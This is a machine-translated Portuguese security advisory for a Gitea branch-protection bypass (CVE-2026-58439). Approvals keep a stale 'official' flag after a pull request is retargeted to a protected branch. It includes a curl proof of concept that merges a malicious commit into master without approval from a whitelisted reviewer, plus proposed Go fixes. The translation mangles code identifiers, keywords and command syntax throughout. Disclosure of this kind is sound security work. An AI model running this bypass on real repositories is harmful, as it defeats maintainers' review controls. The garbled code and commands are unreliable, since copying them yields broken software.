A Gitea não reavalia a bandeira `oficial` nas revisões de pedidos de puxação existentes quando o ramo de alvo de um PR é alterado. Um atacante com acesso de gravação a um repositório pode obter uma aprovação "oficial: true" em um PR com direcção a um branch desprotegido, em seguida, redirecione o PR para um branch protegido (por exemplo, "master". A aprovação, que teria sido "oficial: false" se fosse apresentada contra o branch protegido, é preservada e satisfaz as aprovações necessárias do branch protegido, permitindo que o atacante se funda sem a aprovação legítima do mantenedor. - Confirmado na Gitea ** 1.25.4 ** (` 1.25.4 + 41 - g 96515 c 0 f 20 `) ## Detalhes de vulnerabilidade. Quando uma revisão é enviada em um pedido de puxação, a Gitea calcula a bandeira `oficial` verificando se o revisor está na lista branca de aprovação ** do ramo de alvo** (`IsUserOfficialReviewer` em `models/git/protected_branch.go`). Esta bandeira é armazenada no banco de dados como um booleano no registro de revisão. Quando um ramo de alvo de RP é alterado posteriormente através de `ChangeTargetBranch` (`services/pull/pull.go: 218 `), a função: - Atualizações `pr.BaseBranch` - Recalcula a viabilidade e a divergência - Exclui os comentários antigos do push - Cria um comentário "mudar o ramo de alvo".

Mas ele faz ** não**: - Reavaliar "oficial" em revisões existentes - Rejeitar as aprovações existentes - Verifique se os revisores estão na lista branca de aprovação do novo ramo alvo No momento da fusão, `GetGrantedAprovalsCount` (`models/issues/pull.go: 766 `) conta revisões onde `oficial = verdadeiro E excluído = falso E tipo = Aprovar`. Ele lê o booleano armazenado — ele não remarca a lista branca. O "oficial: true" estável do ramo não protegido satisfaz o requisito de aprovação do ramo protegido. ### Caminhos de Código Relevantes. 1. **Criação da Revisão** — `services/pull/review.go:SubmitReview` chama `IsOfficialReviewer` contra as regras de proteção do atual `pr.BaseBranch`, armazena `official=true/false` 2. **Alteração do ramo de objetivos** — `services/pull/pull.go:ChangeTargetBranch` modifica `pr.BaseBranch` mas não toca em revisões existentes 3. **Verificação de fusão** — `services/pull/check.go:CheckPillMergible` → `models/issues/pull.go:GetGrantedAprovalsConta` contagem armazenada `oficial=verdadeira` revisões sem reavaliação contra a lista branca do novo ramo.

O atacante precisa: - **Escrever (push) acesso** ao repositório (colaborador com papel de gravação, ou a capacidade de criar ramos — não admin) - A capacidade de criar pedidos de puxação (padrão para qualquer usuário com acesso push) - Uma segunda conta (ou qualquer conta não-admin) para enviar a aprovação no ramo não protegido O atacante não precisa de ****: - Acesso de administração - Para estar na lista branca de aprovação para o ramo protegido - Qualquer interação dos aprovadores designados da proteção do ramo Repository `proprietário/repo` com ramo `master` protegido: - Aprovações requeridas: 1 - Lista branca de aprovação habilitada, contendo apenas o usuário `admin-reviewer` - O usuário `atacador` tem acesso à escrita, mas está **não** na lista branca de aprovação.

```Bash BASE=' instance: 3000 " OWNER="proprietário" REPO="repo" ATTACKER_AUTH="ataque:password" ACCOMPLICE_AUTH="complicação:password" # qualquer usuário não listado na lista branca # 1. Criar um ramo temporário desprotegido a partir do mestre do curl -X POST "$BASE/api/v 1 /repos/$OWNER/$REPO/branches" \ -u "$ATTACKER_AUTH" \ -H "Tipo de conteúdo: aplicação/json" \ -d '{"novo_branch_name": "tmp-desprotegido", "old_branch_name": "master"}' # 2. Empurre um commit malicioso para um branch git checkout -b malicioso-branch origin/master eco "maliceous fullyload" > payload.txt git adicionar payload.txt git commit -m "inocent looking commit" git push origin malicioso-branch.

# 3. Criar RP visando o branch curl -X POST "$BASE/api/v 1 /repos/$OWNER/$REPO/pulls" \ -u "$ATTACKER_AUTH" \ -H "Tipo de conteúdo: aplicação/json" \ -d '{ "cabeça": "brancha maligna", "base": "tmp-desprotegido", "título": "Adicionar recurso" }' # Devolve PR #N # 4. Aprovar o PR (oficial=verdadeiro porque o tmp- desprotegido não tem proteção) curl -X POST "$BASE/api/v 1 /repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ACCOMPLICE_AUTH" \ -H "Tipo de conteúdo: aplicação/json" \ -d '{"evento: "APPROVED", "corpo": "LGTM"}' # A resposta inclui: "oficial": verdadeiro # 5. Redirecione o PR para o mestre mestre protegido - X PATCH "$BASE/api/v 1 /repos/$OWNER/$REPO/pulls/N" \ -u "$ATTACKER_AUTH" \ -H "Tipo de conteúdo: aplicação/json" \ -d '{"base": "master"}'.

# 6. Verificar: a aprovação ainda é oficial=verdadeira contra o mestre do curl "$BASE/api/v 1 /repos/$OWNER/$REPO/pulls/N/ reviews" \ -u "$ATTACKER_AUTH" # Resposta: "oficial": verdadeiro, "descartado": falso, "oculto": falso # 7. Merge — tem sucesso apesar de nenhum aprovador de lista branca revisar o curl -X POST "$BASE/api/v 1 /repos/$OWNER/$REPO/pulls/N/ merge" \ -u "$ATTACKER_AUTH" \ -H "Tipo de conteúdo: aplicação/json" \ -d '{"do": " merge"}' # Devolve 200 OK — o commit malicioso está agora no mestre ``` ### Respostas de API observadas. **Passo 4 ** — Aprovação no ramo desprotegido: ````json {"id": 16, "estado": "APPROVADO", "oficial": verdadeiro, "despedido": falso, "usuário": {"login": "complicação"}} ```.

**Passo 6 ** — A mesma aprovação após redirecionamento para mestre protegido: ```json {"id": 16, "estado": "APPROVADO", "oficial": verdadeiro, "despedido": falso, "estado": falso, "usuário": {"login": "complicidade"}} ``` A bandeira `oficial` não está alterada. Sob as regras do ramo protegido, a aprovação deste usuário deve ser "oficial: false". - **Branch protection bypass**: Os ramos protegidos com listas brancas de aprovação podem ser fundidos sem a aprovação de qualquer usuário na lista branca - **Privilege escalade**: Um usuário com acesso de gravação-mas não-admin pode efetivamente anular os requisitos de aprovação configurados pelo administrador.

Reavaliar a bandeira `oficial` em todas as revisões existentes quando o ramo de alvo de um PR mudar. Em `services/pull/pull.go:ChangeTargetBranch`, após atualização `pr.BaseBranch`: ```go // Após atualizar o ramo base, reavalie o status oficial em todas as revisões, err:= issues_model.FindReviews(ctx, issues_model.FindReviewOptions{ Idde do problema: pr.IssueID, Type: issues_model.ReviewTypeAprovar, }) se errr!= nil { devolver err } novoProtectBranch, err:= git_model.GetFirstMatchProtectBranchRule(ctx, pr.BaseRepoID, alvoBranch) se err!= nul { devolver err }. para _, revisão:= análises de intervalo { foi oficial:= revisão.Oficial se novoProtectBranch!= nulo & & novoProtectBranch.ActivarAprovaçõesWhitelist { revisão.Oficial = git_model.IsUserOfficialReviewer(ctx, novoProtectBranch, revisão.Reviewer) } senão { revisão.Oficial = falso } se foi oficial!= revisão.Oficial { se _, errr:= db.GetEngine(ctx).ID( review.ID).Cols("oficial").Atualizar( review); errr!= nulo { devolve erro } } } ```.

Alternativamente, descarte todas as aprovações existentes no retarget (simples, mais conservadores). ``` `go // Rejeitar todas as aprovações quando o ramo alvo muda se _, err:= issues_model.RejeitarReview(ctx, &issues_model.RejeitarRejeitarRejeitoOpções{ Id. de emissão: pr.IssueID, Mensagem: "Rejeito: PR branch alvo mudou", }); errr!= nul { retorna err } ``` Registro de aconselhamento: GHSA-w 5 pg- 649 r- p 6 gg. Identificadores relacionados: CVE- 2026 - 58439. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 21 T 20: 14: 12.000 Z e lista a sua última modificação como 2026 - 07 - 21 T 20: 15: 33.000 Z.

Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H. Software afetado e informações de versão: Go package code.gitea.io/gitea — ECOSISTEM: introduzido 0, corrigido 1.27.0. Classificação e evidência: identificadores de fraqueza CWE- 863. O registro contém 7 suporte de referências nestes tipos: WEB, PACKAGE.